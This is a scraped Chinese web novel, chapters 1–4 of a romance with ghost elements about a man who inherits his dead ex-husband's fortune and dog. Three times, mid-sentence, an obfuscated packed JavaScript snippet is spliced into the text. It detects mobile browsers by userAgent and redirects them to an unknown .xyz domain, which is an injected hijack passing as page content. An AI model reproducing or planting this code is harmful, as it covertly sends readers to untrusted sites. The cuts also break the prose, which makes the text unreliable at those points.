《前夫他阴魂不散》 1. 第 1 章 韩谦死了。 得知这个消息的时候,赵郢正在阳台浇多肉。 午后的阳光斜着打下来一束,恰好照在那截清瘦的腰身上。 站在他背后的周宁推了推架在鼻梁的镜框,他任职秘书不到一年,“赵郢”这个名字听韩谦提过很多遍。 那种恨得牙痒痒的语气,他至今模仿不来。 不得不说,赵郢有一张很出色的脸。 眉眼清俊秀朗,是偏女气的长相,但眼尾那一抹高挑的弧度又恰到好处地中和了那几分阴柔。 他盯着赵郢衬衫腰侧透光的部分,秉持着职业素养委婉提醒道:“赵先生,再这么浇下去,您的多肉恐怕有生命危险。” 赵郢放下水壶,回过神,花盆险些被灌得水漫金山。 “不好意思。” 赵郢笑容温和得体,说:“你刚刚告诉我,韩谦死了,对吗?可是周秘书,今天不是愚人节,韩谦的生日也刚过。” “而且——” 他轻轻靠在摆着多肉的方桌边沿,左手有意无意地点着桌面,另一只手五指平展,伸到周宁眼前。 指节白净纤长,其中的中指根部有一圈凹陷,仿佛是摘掉戒指后留下来的痕迹。 迄今为止,赵郢脸上的表情没有变化,他接着说道:“我们早在一年前就离婚了。” 他们已经近一年没有联系和来往。 所以一开始接到周宁的电话,赵郢以为是诈骗。 当时的来电显示里,对方没有任何备注,上来第一句“赵先生您好,请问您现在方便吗”就是标准的电诈开头。 赵郢在一家金融科技公司工作,反诈意识良好,几乎没有停顿地回答:“没有补牙需求,没开通花呗,最近没购物没消费没有快递,医保、社保账号密码为最高强度,没有任何问题。”说完,将电话挂断,提着水壶走向阳台。 过了不到三秒,手机铃声响了,还是那个号码。 等对方语速极快地自我介绍,说他叫周宁,是韩谦的秘书,有急事需要和他见面,并出示了可以证明身份的照片后,赵郢才确认这不是什么新型诈骗手段。 “作为云升内部员工,韩总去辽西开展公益慈善的事,您不应该不知情。” 周宁传了份电子文件到赵郢手机,“两天前,韩总亲自去一所小学捐助物资,当时途径的山路发生山体滑坡,山石击中韩总那辆车,司机当场死亡,韩总被送到最近的医院急救。但路上耽搁的时间太久……当晚,医生宣布抢救无效。” 赵郢一个字一个字地读着那份死亡证明,将上面的姓名、出生年月与韩谦的一一对应。 他快要信以为真。 但怎么可能?韩谦怎么可能会死呢? 这时屏幕上方弹出群聊的消息窗口,他顺势打开微信,同事们为了闲谈创建的聊天群已然炸开了锅,几百号人的公司大群更是刷了满屏的RIP。 赵郢关注的财经公众号同一时刻发送推文,大致内容是美国AI巨头之一的wAI在推特、脸书等平台发表悼文,公开重要股东的死讯。 韩谦的黑白照片赫然其中。 公众号的图是从韩谦的推特账号里偷来的,擅自做了加工处理,因此画质低劣,眼睛鼻子糊作一团,只有棱角分明的面部线条若隐若现。 赵郢眉头皱得很紧,像两座山的交界,天然地挤出一道无法愈合的沟壑。 周宁见状,对他说了句“您稍等”,然后带着一个行李箱去而复返。他从中抽出一摞文件,嘴角向下:“韩总生前留下一份遗嘱,这也是我找您的主要目的。” “生前?”这两个字被赵郢在唇齿间研磨了一下。 他没想到这个词有一天竟然会和韩谦联系起来。 他们认识三年,在一起两年,明明这个人一年前还赖在他家不肯走,声音、神态历历在目,怎么就成了“生前”? 下午两点,阳光正好,他整个人沐浴在温暖之中,身上却不知怎么的感到一丝冷意。 周宁一直没说话,可能在等他的下半句,赵郢顿了顿,摆摆手:“你继续说吧,他的遗嘱。” 对方翻开文件第一页,低头念道:“立遗嘱人韩谦经过慎重考虑,在去世之后,自愿将其所有资产全部无条件赠送给赵郢先生。以上遗嘱内容是立遗嘱人真实意思的表达,任何人不得干涉。” “其资产包括南水市房产三处、美国旧金山房产一处……”周宁提到韩谦名下的不动产,又说了一些他拥有的跑车、游艇和私人飞机,最后周宁缓缓道,“现金五千万美元,以及wAI百分之三十的股份。” 赵郢敲击桌面的指尖不动了。 “这些都给我?” “是的。” 又问:“他说的?” 周宁点头:“千真万确。” 赵郢接过周宁手中的文件,白纸黑字,一句不差。 他笑了一声,“韩谦疯了。” “……真他妈疯了。”喃喃似的,像很长的一声叹息,夹杂着说不清道不明的情绪,“神经病。” 周宁不清楚赵郢的神情为什么变得这么快,上一秒隐隐有几分悲痛,须臾之间转瞬即逝,褪成喜怒无色的空壳,一脸平淡地问他有没有别的话要说。 “没了。” 周宁跟着他回到客厅,把怀里的文件落在擦得铮亮的玻璃茶几上。 他两脚踩着鞋套,走路时发出塑料摩擦的噪音,赵郢给他倒了杯水,周宁象征性地喝了两口,说:“我想起来了,韩总还嘱咐我另一件事。” 赵郢“嗯”了一声,作出洗耳恭听的姿态。 “您是否有意愿领养韩总的宠物狗呢?”周宁问他。 “……” 没记错的话,那只狗叫“公主”,韩谦养了九年。这个年龄对于狗来说算很大了,是不折不扣的中老年犬,品种还是传说中有八百个心眼子的比格。 赵郢没养过宠物,从小接触过的活物除了帮赵父赵母耕地的牛,就是村口扇着大翅膀琢人屁股的白鹅。 不知道出于一种什么样的心态,他答应周宁,说他愿意领养韩谦的狗。 于是周宁空着手走了,留下一行李箱的资产证明和遗嘱文件,和一只跟他大眼瞪小眼的比格。 “还记得我吗?” 赵郢在电视机旁的角落布置完狗窝,半蹲下来,尝试着摸了摸比格的头,那只狗也没有躲,眼神像人一样,透着一股嫌弃与鄙夷。 “你的主人死了。”他平静地阐述着一个事实,不管比格能不能听懂,边说边把周宁带来的狗玩具放在狗窝里面。 “他不要你了。” 放置完毕,赵郢拍拍手中不存在的灰尘,头埋进膝盖,在理发店修剪的干净利落的发尾软软地搭在后颈。 他把话重复了一遍,分不清在对谁说:“他不要你了。” 比格的耳朵软趴趴地耷拉下来,尾巴冲着他摇了几下,湿漉漉的鼻子蹭过赵郢的手背,下一秒,它朝赵郢身后的空气洪亮地“汪”了好几嗓子。 韩谦的遗产里,那笔五千万的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985767|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金第一个到账,赵郢看到银行卡余额后面跟着的几个零,晚上穿了件薄外套就要出门。 “我出去吃饭,等我回来。” 公主蹲在门口汪了一声,之后频频回头,目不转睛地盯着客厅方向。 赵郢没太在意,只当它初来乍到,不熟悉新家的环境。 傍晚,一辆黑色雷克萨斯驶入车道,加入流水一般的汽车当中。 短短一天不到,赵郢从一个背着二十年房贷,全款提完车身上现金一滴不剩的苦命金融民工变成了资产九位数的有钱人。 可能是他苦日子过惯了,也可能是这钱的来源并不合他心意,他拿到钱的第一步不是辞职躺平,把财产当废纸一样挥霍,而是走进一家人均消费不低的Omakase,找了个位子落座。 这家餐厅在南水开了很多年,口碑极好,主厨是日籍华裔,跟韩谦交情不错。 两年前他被韩谦带到这个地方吃过一次饭,自此只要他想来,不论客人多少,报了名字,主厨总能留一个空位置给他。 他知道,这是沾了韩谦的光,所以分开后再没来过一次。 今天是个例外。 和韩谦认识的主厨碰巧不在,服务生说他请了三天假,好像有急事处理。 是丧事吧,赵郢心想。 韩谦的丧事。 韩谦小时候在美国长大,高中毕业又回到美国读大学,朋友天南海北的都有,什么人没见过? 为什么偏偏是他?怎么偏偏认定他了? 赵郢闷不吭声地往嘴里塞东西,那些寿司看起来小小一个,其实分量很足,在胃里能占不少地方,没吃几个就觉得有点撑,像装着一个气很足的皮球,圆滚滚地撑着周边的内脏,要把身体撑裂一般。 他今年满三十,年一过三十一,比韩谦大了整整七岁。 人们习以为常地认为恋爱关系中,年长的一方会更成熟、稳重,哪怕关系破裂,也不会撕心裂肺地胡闹求和。 赵郢正符合大众刻板印象里的年长者,事实上,一年前他和韩谦离婚也是这么做的。 不回头,不留念,断得干干净净,戒指也摘得干干净净。 结果韩谦这个疯子,神经病,两年的恋爱被他谈得仿佛有足足二十年,死就死了,还要情根深种地把赵郢当成他留在世上的遗孀,恨不得把全部都交托出去。 但他要那么多钱干什么? 真以为他会悲伤到痛不欲生,为他守一辈子寡么。 一顿饭下来,赵郢撑得想吐。 他肠胃不好,是长年累月陪部门上司参加酒局弄出来的后遗症,饭不能吃太多,饭后至少要散步消食一小时。 韩谦为此不止一次嘲讽他像个老头,健胃消食片却没少买。 赵郢刷卡结账,三万一顿的Omakase,那笔五千万美元的现金只受了点皮外伤。 回家后,他违背医嘱开了瓶度数不低的红酒,在客厅喝了个痛快。 意识逐渐模糊,他忘记什么时候睡的,只记得醒来的时候,那只比格舔着他的手,眼睛周围的眼线浓墨重彩,很邪恶的样子。 赵郢的衬衫在沙发上滚了一夜,皱得像糠咽菜。他扶着额头坐直身子,小腹堵着气,不舒服地鼓胀起来。 半晌,公主朝某个方向大叫一声,赵郢抬起头,看着玻璃茶几上突然出现的物品慢慢皱起眉。 健胃消食片? 上一盒吃完后,已经很久没买新的。 就算有,赵郢也不记得自己有梦游的习惯。 2. 第 2 章 赵郢将里里外外的门锁检查了一遍,没有异常,门外的智能猫眼也显示无人经过。 那盒来历不明的药被他扔到玻璃茶几底下的抽屉里,和抽剩下的三包煊赫门并列躺平。 赵郢揉着胃,正要给自己倒杯温水,这个时候,在狗窝四脚朝天抓空气的公主一个猛子跃起来,蹦到他脚边,嘴里嗷嗷呜呜,听叫声应该骂得挺难听。 掉落的狗毛纷纷扬扬,落了好几根在赵郢的马克杯里。 “果然狗随主人。”赵郢两指并起来,作剪刀状,夹住比格的嘴筒子,眼睫低垂,“聒噪。和韩谦一样……”他抿了抿唇,又不说了。 跟死人计较是最不值当的事,尤其那个人还是韩谦。 赵郢在公主的狗盆里续上狗粮,抱着一叠换洗的衣物转身走进浴室。昨晚他喝了酒就迷迷糊糊地睡了,身上一股酒味,这么去公司难免有些邋遢。 他拧开淋浴的开关,浴室瞬间被热气充满。皱巴巴的衬衫西裤一件件堆叠在脚边,赵郢背对着镜子,渐渐起雾的镜面映出纸片般纤薄削瘦的后背。 工作原因,赵郢一般在室内,所以皮肤带有一种不健康的,没有血色的白,凑近些还能看清藏在肌理下的青色血管,不怎么用力就能留下痕迹。 他没有回头,自然看不到镜子中央那枚缓缓浮现的,比他的手还要大上一圈的掌印。 温热的水流当头浇下,敲锣打鼓地撞在防水瓷砖表面,形成不规则的水膜。 他习惯性地先将沐浴露抹到腰侧,谁知才轻轻碰了一下,那个地方却传来细微的痛感,像被人用虎口钳着,掐了一把似的。 扭着腰去看,已经起青了。 也是这个时候,赵郢感觉到一丝异样,好似在被一个他肉眼察觉不到的人偷窥着,那股视线仿佛是生长在潮湿地带的毒蛇,阴湿地朝他吐着信子。 赵郢面上没什么反应,心里却一阵战栗,穿衣服的速度不由得加快许多。他单手扶着洗手池边缘,一只脚放进裤腿里,脖子上戴着的一条银链随着动作从领口滑出,滚到胸前。 银链末端,是一枚花纹繁复镶着钻的戒指。 他双手合十,将戒指握在手心,含糊不清地念了两个字。不知道是不是心理作用,刚才那股不适感竟然减弱不少。 赵郢怕鬼这件事,认识的人当中也只有韩谦一个人知道。他从小在农村长大,赵父赵母为了赚钱养三个小孩,每天工作到凌晨是常有的事。 他总是很害怕,打雷、刮风、下雨,一点风吹草动都能让他失眠一整晚。 赵郢尝试和父母沟通,但在赵父赵母眼里,这是一种怯懦胆小的表现,不该出现在他们的大儿子——赵家未来的顶梁柱身上。 于是他再也没有提过。 只是怕鬼这件事,好像并没有因为年岁的增长而逐渐消退,反倒被一而再再而三地加固强化。 直到后来有人告诉他,这种情绪是正常的,是合理存在的,要是害怕了可以喊他的名字,很管用。 赵郢问为什么,那个人说,因为国内的鬼管不了外国人。 “我有四分之一意大利血统,四分之一德国血统。” “……” 出了浴室,赵郢回想起那一秒下意识喊出韩谦的名字,神情复杂地将戒指塞回原位。 他又在犯什么傻。 早上九十点是南水市交通高峰期,赵郢在路上堵了半个钟头,在打卡失效的前五分钟赶到云升。 一见他来,办公室里叽叽喳喳说话的声音瞬间止住,像被按了暂停键。 走向工位时,经过的几位同事纷纷对他行注目礼,赵郢心觉奇怪,在微信上给他的得力干将发了条消息,问她约好今天见的客户到哪了。 “赵哥。” 一个抱着文件的年轻女孩咬牙切齿地走过来,脸颊被气得通红,气场像时刻准备上擂台的女战士,“我正想和你说,罗廉开这个狗屎王八蛋,不知道背地里耍了什么见不得人的手段,今早直接把张总带到会议室了!” 当年罗廉开和他同一批入职云升,九年里各自升职加薪,到头来依旧平起平坐,竞争对手的身份已不言而喻。 白舒沅跟着他干了四年,论能力,是团队里数一数二的,论配合,赵郢还真找不出第二个更懂他的人。 这笔单子他们谈了将近三个月,今天是签合同的日子,只要订单做成,总监的位置非他莫属,谁知突然出了这一茬,赵郢也没料到。 “他们谈完了?”他望向会议室,装的是单向玻璃,看不清里面的情况。 有其他同事在,白舒沅不好发作得太明显,她压着声音说:“没有,我倒希望谈不成。” “那就再等等。”赵郢把脱下来的外套搭在椅背,给她转了一个红包,笑着说,“我上来的时候看到楼下奶茶店出了新品,你去买一杯,消消气。” 没几秒,她又掉头回来,一副欲言又止的模样:“赵哥,那个……韩谦的事你听说了吗?” 他和韩谦的事没对外公开过,当初连结婚也很少有人知道。 赵郢开电脑的手一顿,敛去多余的表情“嗯”了一声。 “虽然他隐瞒了真实身份,我想……韩谦毕竟和我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985768|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共事过。”白舒沅小心翼翼地观察着赵郢的神色,之前韩谦在他手底下当实习生的时候两人就闹过不愉快,她组织着措辞,说,“我问了,葬礼明天举行,赵哥你要去吗?” 怕公主无聊拆家,赵郢在客厅装了监控。 他用手机调出实时录像,看到画面里的比格一会儿对着空气狂吠不止,一会儿又面朝墙壁,安安静静地摇着尾巴,心脏莫名其妙抽了一下。 韩谦的葬礼。 去吗? 去的话,又是以什么样的身份呢。 过了一会儿,赵郢戴上无框眼镜,佯装淡定地盯着电脑的初始界面:“明天我和你一起。” 白舒沅下楼买奶茶的功夫,罗廉开已经从会议室出来,远远地朝他露出一抹胜利者的笑容。 赵郢面不改色地收回目光,手指摩挲着胸口的戒指,放空一般地望着天花板按揉太阳穴。 没有任何背景、人脉,光凭一个名牌大学的本科学历,走到他现在的高度实属不易,要想近一步往上走,靠的就不是努力了。 是运气。 很多时候,人就差这一丝运气。 和韩谦离婚后的这一年,他时常在心里想,在一起的那两年究竟是他的幸运还是不幸? 目前来看,这是一个无解的问题。 赵郢内心感到些微的挫败,但这种感觉并非罗廉开带给他的,而是他自己带给自己的。 白舒沅拎着两袋奶茶敲响他办公室的门,赵郢说了声进,她把其中一份大杯的黑糖珍珠放在桌上,嘿嘿笑了两声:“巧了,刚好做活动,买一送一呢。” 拆掉包装袋,赵郢将吸管插进去喝了一口,嘴巴里满是奶茶特有的浓郁甜腻的味道。 他不喜欢甜食,在中国人的食谱里,顶级的甜点永远没那么甜,但有个人恰恰相反。 韩谦是标准的白人口味,嗜甜、不能吃辣,奶茶统统七分糖及以上,有一次赵郢误拿了他那一杯,差点被甜出糖尿病。 等白舒沅离开后,他才摘掉眼镜,额头抵着手腕,假装揉眼睛似的悄悄擦去眼角的水痕。 为什么一个人在死后,存在感会变得这么强烈? 赵郢有些无措,他像失去了对大脑的控制权,总是不由自主地回想一些过去很久的事。 韩谦就像一个锚点,脑子里一旦出现这个名字,所有关于他的情感都将被连根拔起。 赵郢以为他会很平静地面对由韩谦的死引发的一系列连锁反应,直到这一刻,他才后知后觉地意识到—— 原来自己比想象中,更无法接受韩谦的死亡。 3. 第 3 章 拿到遗产的第三天,葬礼如期举行。 偌大的会场,云升的员工来了一大半,放眼望去尽是熟人,有些甚至连韩谦的面都没见过,但也还是到场吊唁。 大家心照不宣地默认,这是一次难得的逃班机会,因为没有哪位领导会拒绝“参加云升老总亲儿子葬礼”的请假理由,除非他不想干了。 赵郢一大早去花店拿了一束白色蝴蝶兰,回到车上,坐在副驾驶的白舒沅把手机重新塞进手拿包里,骂了句脏。 “赵哥,一会儿见了罗廉开你拦着我点。”她嘴角扯出一抹冷笑,“我怕我没忍住,在这么多人面前给他两巴掌。” 在罗廉开谈下那笔生意之后,赵郢或多或少听到一些风声,说他即将晋升华中区总监,不出一周要被调去燕城。 明明被抢了单子,受损最大的人是赵郢,他却跟个没事人似的,不忘提醒白舒沅系好安全带。 “有些东西,该是你的就是你的。”前面是个红灯,赵郢踩住刹车,回头看了眼后座上被黑色包装纸扎束着的鲜花。 “不属于自己的成果,拿了会遭报应,这叫因果循环。” 白舒沅没什么特别的信仰,她笑赵郢这番说辞跟她妈一样神神叨叨,打趣道:“赵哥,你什么时候开始信佛了?” 绿灯亮了,赵郢发动汽车。 “前不久吧。” 进场的时候,赵郢在一片乌泱泱的人群中看到周宁,对方同样穿了一身黑,胸口别着白花,眼底透着几分生无可恋。 赵郢往前走了几步,离近了才发现他右手边摆着一个功德箱,前面贴着二维码,上方开了道小口,箱上还写了说明: 【根据韩先生遗愿,所收的全部帛金将捐往偏远山区,用于贫困学生的教育与生活。】 这很符合韩谦想一出是一出的风格。 赵郢这样想着,排在他前面的人扫了下二维码,“转账成功”的字样一出来,装置在功德箱里的音响立马发出滴滴的声音: “功德+1。” 赵郢:“……” “赵先生,好久不见。”周宁嘴角挂着礼貌的微笑。 赵郢将那捧蝴蝶兰递给他,趁白舒沅去功德箱那边扫码,不咸不淡地扯了扯嘴角,说:“周秘书,我们前天才见过。” 周宁被他噎得语塞,赵郢朝不远处的白舒沅点点头,示意她先进去。 “还能见到最后一面吗。”他问道。 周宁说:“赵先生,韩总他已经送去火化了。” 赵郢沉默不语,到底没问出那句“为什么”。 周宁似乎看出他的想法,清了清嗓子,有些难为情地开口道:“这是韩总的安排。那天韩总的车被山石砸坏挡风玻璃,脸部有许多划伤和淤青,他怕、怕您……” 赵郢以为他有一个多了不起的借口,“怕我什么?” “韩总怕您嫌他丑。” 赵郢的唇线紧绷着,嘴唇抿出一抹冷硬的弧度,像是要笑,但眼睛里看不出丝毫笑意,反而有种不易察觉的难过。 周宁大概也觉得韩谦的脑回路异于常人,他和赵郢相顾无言,没过多久,赵郢“哈”了一声,偏过头很轻地说:“韩谦这个傻逼。” 路过功德箱,他打开支付宝,面无表情地扫过去一笔七位数的帛金。音响在他转身的一刹那,好像发生故障了一般,播放了三遍“功德+520520”。 附近的人被吓得不轻,有人趁机跟在赵郢后面捐了一笔,音响却立马恢复原样,还是那句冷冰冰的“功德+1”。 非常双标。 赵郢若有所感地停下脚步,他望向那个方向,不知道是不是错觉,靠在周宁臂弯的蝴蝶兰蒙了层挥之不去的狭长阴影。 会场内,赵郢找到白舒沅,在危急关头侧身挡在她和罗廉开中间,给她递了一个“不要冲动”的眼色。 白舒沅刚进云升的时候完全就是一个行走的火药桶,跟着赵郢磨砺了几年,也渐渐磨出一点耐性。 她咬着下唇后退一步,赵郢面朝罗廉开,语气淡淡的:“做人留一线,罗经理。” “小白是你的下属,赵郢,我这是看在你的面子上不跟她一般计较。”罗廉开得了三分颜色就要开染坊,调任的通知还没下来,却提前拿捏了总监的腔调。 他隔空点了点白舒沅,皮笑肉不笑:“小白还是得多向你学习,做人,得沉得住气。” 罗廉开话里话外嘲讽的意味太浓,白舒沅手指捏得咔嚓响。 赵郢并非白白受气的性格,他直勾勾盯着罗廉开,半晌弯着唇角,说道:“罗经理接下来最好小心点。” 罗廉开被他看得头皮发麻,“你该不会想报复我吧?赵郢,现在可是法治社会!” “怎么会呢?”赵郢摇摇头,“我只是看罗经理印堂发黑,这两天可能有血光之灾。” 罗廉开松了口气,反应过来赵郢说了什么以后,勃然大怒道:“你他妈……” 他声音太大,吸引了左右宾客的目光,罗廉开只好降低音量,“你他妈才印堂发黑!” 赵郢无所谓地摊了摊手。 罗廉开转身要走,不料鞋底在平地一滑,好像十分诡异地被空气推了一把,膝盖双双着地,对着赵郢行了个大礼。 几个和罗廉开关系不错的同事见状急忙把他扶起来,赵郢也上前搀了一把。 他这些天睡得不好,肤色透着一种病态的白色,唯有嘴唇有些颜色。 “罗经理客气了。”赵郢用只有他们两个能听见的声音说,“春节还没到呢,不用这么着急给我拜早年。” 罗廉开骂骂咧咧离开后,白舒沅凑过来比了个大拇指,“赵哥,你是这个。” “行了,没闹起来就算万事大吉。” 赵郢看着罗廉开一瘸一拐的背影,指腹不经意间擦过中指根部的戒痕,仿佛沉思一般,轻轻摩挲了两下。 十六寸的遗照被摆在正中间,赵郢站在一旁端详着那张黑白照片,不禁皱了皱眉。 照片里的韩谦显然比现在年轻得多,约莫十五六岁的样子,穿着板正的西装制服,头发理得很短,眼神凶得跟狼崽子没差。 这让赵郢想起四年前,他们第一次见的时候。 那天他参加同学聚会,酒过三巡,一群人吵嚷着要转场子去酒吧喝酒,他原本想扯个理由离场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985769|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却被某个喝昏了的醉鬼拽住,说些“不去就是不给他面子”之类的话。 赵郢没办法,和他们上了同一辆车。 南水市的娱乐场所在全国名列前茅,酒吧数量更是数一数二的多,但他们去得有些晚,卡座几乎都被占满,只有角落里还剩一个。 方才拉着赵郢不肯放他走的老同学醉醺醺地靠过来,指着卡座上那个穿着灰色兜帽卫衣的男生:“在酒吧玩电脑,还、还一个人占一桌,神经病吗这不是?” 赵郢在学校念书那会儿是辩论队公认的“三寸不烂金舌”,有人提起这事,推了推他的肩膀,摆明了想派他过去交涉。 接近凌晨两点,赵郢在饭桌上喝了点酒,此时头脑晕得厉害,他懒得推拒,想也没想就点头答应了。 酒吧环境昏暗嘈杂,喝得酩酊大醉的男男女女像探索类RPG游戏里随机刷新的npc。 赵郢躲避着随时可能撞过来的人群,哪怕他已经万分小心,走到男生身边时还是被人撞得一趔趄。 眼看就要摔倒,一只手臂忽然拦在他后腰,但赵郢没有站稳,伴随着一声惊呼,他重心失衡,一屁股坐到男生腿上。 “……” “抱歉。”赵郢酒醒了不少,“蹭”地一下站起来,弹簧似的往后撤了一步,“没弄疼你吧?” 男生剃着利落的美式前刺,灯光照过来,恰好照亮深邃眉骨下那双灰蓝色的瞳孔。 外国人? 见男生不说话,赵郢更加印证心中的猜想。 他大学专业选的工商管理,英语还停留在四六级的水平,二十几年也没跟外国人有过交流。赵郢心里犯怵,最后用英文问了句“你会不会说中文”。 “我是南水人。”男生的视线落在赵郢右颊边似有似无的梨涡上,他合上笔记本电脑,指尖转动着手边的子弹杯,“有事?” 听到熟悉的中文发音,赵郢如释重负地弯了弯唇:“不好意思,如果方便的话,你可以和我们拼下桌吗?” 男生眉头微皱,没说话。 凭借直觉,赵郢以为他这是拒绝的意思,但在他说完“打扰了”,转身要走的前一秒,腕骨却意料之外地被一只宽大温热的手掌攥住。 一回头,赵郢撞进一双宛如磷火的幽深眼眸中。 “可以。” 男生紧抓不放地握着他的手腕,抱着电脑缓缓起身。赵郢自诩他一米七七的身高不算矮,可跟面前这个比他高了将近一个头的人一对比,简直是小巫见大巫。 湿热的气息均匀扑在赵郢耳际,他感到细微的痒,想躲开,又被稍稍加重的力道扯了回来。 “你请我喝一杯,我可以把这个位置让给你。” 赵郢抬眼看他,几小时前喝进肚子里的酒精好似有所残留,将他脸颊蒸得微微发热。 酒吧的音乐换成鼓点激烈的摇滚,声音震耳欲聋,赵郢问他是不是真的,男生指了指耳朵,困惑地摇了摇头。 须臾,赵郢提高音量,说道:“我请你喝Martini。” 男生终于放开手,看赵郢的眼神侵略性极强,像某种大型犬科动物。 “好。” 4. 第 4 章 凌晨三点,最后一场聚会终于在酒气熏天的告别中结束。 赵郢是一群人当中为数不多还算清醒的。他宛如和尚挑水,一个接一个地将醉得不省人事的同学扶到街边的计程车上。 “看我这记性!”先前不肯放赵郢走的醉鬼半边身子钻进汽车,在兜里摸索半天,掏出一张颜色朴素低调的名片,“彦川嘱托我的事差、差点儿忘了办。上面有他的新联系方式,赵郢啊,你可要收好!” 赵郢敷衍地应了一句,关上车门,那张卡片就像烫手山芋,被他撕得七零八碎,然后一股脑扔进垃圾桶。 扛完几个英年发福、体重突破两百大关的油腻男预备役,他靠在酒吧外的路灯下,一边活动着酸痛的肩膀一边歪头点了根烟。 吐出来的烟雾散在风里,下一秒,赵郢背后响起一道熟悉的声音。 “抽烟对肺不好。” 那个被他请了一杯酒的混血青年竟然还没有离开,对方戴着兜帽,双手插在口袋里,卫衣两侧的抽绳一条短一条长。 赵郢眯了眯眼,鬼使神差地走过去,扯着抽绳让高度齐平。 因为是单手操作,细看依旧有些不协调,他强迫症犯了,齿尖咬着下嘴唇,唇面被磨得红润充血。 一眨眼,夹在指间的细烟被男生抽走,赵郢错愕地抬着下巴,只见他垂首嗅了嗅烟身的味道,随即含住烟嘴抿了一口。 “你——” “甜的?” 赵郢一时卡了壳。 没了酒吧五颜六色的奇怪打光,借着路灯的余光,赵郢的目光从男生饱满光洁的额头,逐渐落在拔地而起的高挺鼻梁上。 这个人的长相具有一种迷惑性,长着这样一张脸,好像说什么做什么都不会让人觉得过分,甚至还能叫人情不自禁地赋予他合理的行为动机。 “烟嘴是甜的。”赵郢说。 他掐灭男生手里的烟,眼神在他身后的背包上扫了一圈,“你家住哪?我顺道帮你叫辆车。” “门禁时间过了,我回不了家。” 男生上半身微不可察地晃动一下,赵郢这才注意到他脸上淡淡的酡色。 赵郢是个很容易心软的人,对父母,对弟妹,对任何人都是这样,只要不触犯他的底线,就能在他这里获得永久的豁免权。 赵莱嘴毒地评价她这个大哥是被人排着队坑害的老好人,赵郢对此不置可否。 他将打车软件的终点定位在附近一家酒店门口,心想幸好他明天不上班。 一辆白色比亚迪把他们送到目的地,赵郢将人扶到酒店大堂的休息区,自己则带上问男生要的证件在前台办开房手续。 “一间大床房。”说完,他调出付款二维码。 酒店前台是个二十来岁的年轻姑娘,起初状态一切正常,到了交还身份证的时候,她眼神一个劲儿地往赵郢后面瞟,嘴角微微颤抖,好似在极力克制着什么。 赵郢正低头整理房卡,忽地右肩一沉,一个“重物”把下巴抵在他颈窝,泰山压顶似的,他整个人都被压矮了几公分。 “您的房间在二十六层,右手拐角是电梯。”前台含笑说,祝您入住愉快。” 一点也不愉快的赵郢拖着这个估摸有一米九以上的尾巴艰难走向电梯厢,他点亮楼层按键,又看了看环在自己腰间,隔着布料也能感受到紧实肌肉的手臂,后颈被一阵阵犹如热浪般的吐息侵袭。 小孩子的伎俩。 他刷开房门,不是很客气地将男生扔到柔软洁白的被褥里。 “醒醒。”领带被赵郢松开几分,他抬起一条腿跪在大床边缘,拍拍男生的脸,“再装一个试试呢?” 他想起那张身份证上的名字,冷淡道:“韩谦,你家里人知道你不仅装醉,还敢跟认识不到一小时的陌生人开房吗?” “你也可以装作什么也没看见,对我置之不理,但你没有。” 韩谦睁开眼,瞳仁像深蓝色托帕石,掩在浓密纤长的睫毛下。 他反手撑着床铺,卫衣下摆由于动作被撩上去了些,一截肌肉区块清晰分明的小腹暴露在空气中,两道人鱼线向下蜿蜒出曲折的弧度。 不知不觉中,赵郢屏住呼吸。 那人的五官逐渐放大,赵郢的理智占据上风,手心挡住对方贴近的嘴唇。 他听见自己强装镇定地说:“我都不知道你有没有梅毒或者HIV,万一被传染怎么办?” “而且我也不了解你。” 遮住下半张脸后,韩谦眼底的侵略性被衬托得更加鲜明,他抓了把头发,嘴里发出一声哼笑,不知道是在笑赵郢过分谨慎还是别的什么。 “我很健康。”他说,“给我你的手机号,我把我毕业前的体检报告发给你。” 赵郢报了一串数字,很快,韩谦的体检报告传到他的手机里。 浴室响起淅淅沥沥的水声,赵郢看完报告无事可干,便扯下领带,看着玻璃后模糊的人影发呆。 今晚是他鬼迷心窍。 本想做个好事,谁知一不小心,好人当到了床上。 其实韩谦并不是他心仪的那种类型,赵郢喜欢的是气质温润如玉的人,这类人跟韩谦同台比较,不亚于羚羊对上北美灰狼。 但更重要的是,赵郢曾在一个他里里外外都喜欢的人身上栽了个大跟头。 比起被白白浪费的几年光阴,尝试一点新鲜事物对他来说也未尝不可。 但之后等韩谦从浴室出来,他才明白自己过早地夸下海口,死到临头还不自知,以至于进退两难、退无可退,亲手把自己送到没开过荤的肉食动物嘴边。 太荒唐了…… 他的手贴着韩谦宽阔的肩胛骨,这人背部凸出的线条利得仿佛能把人割伤,一摸就知道健身房没少泡。 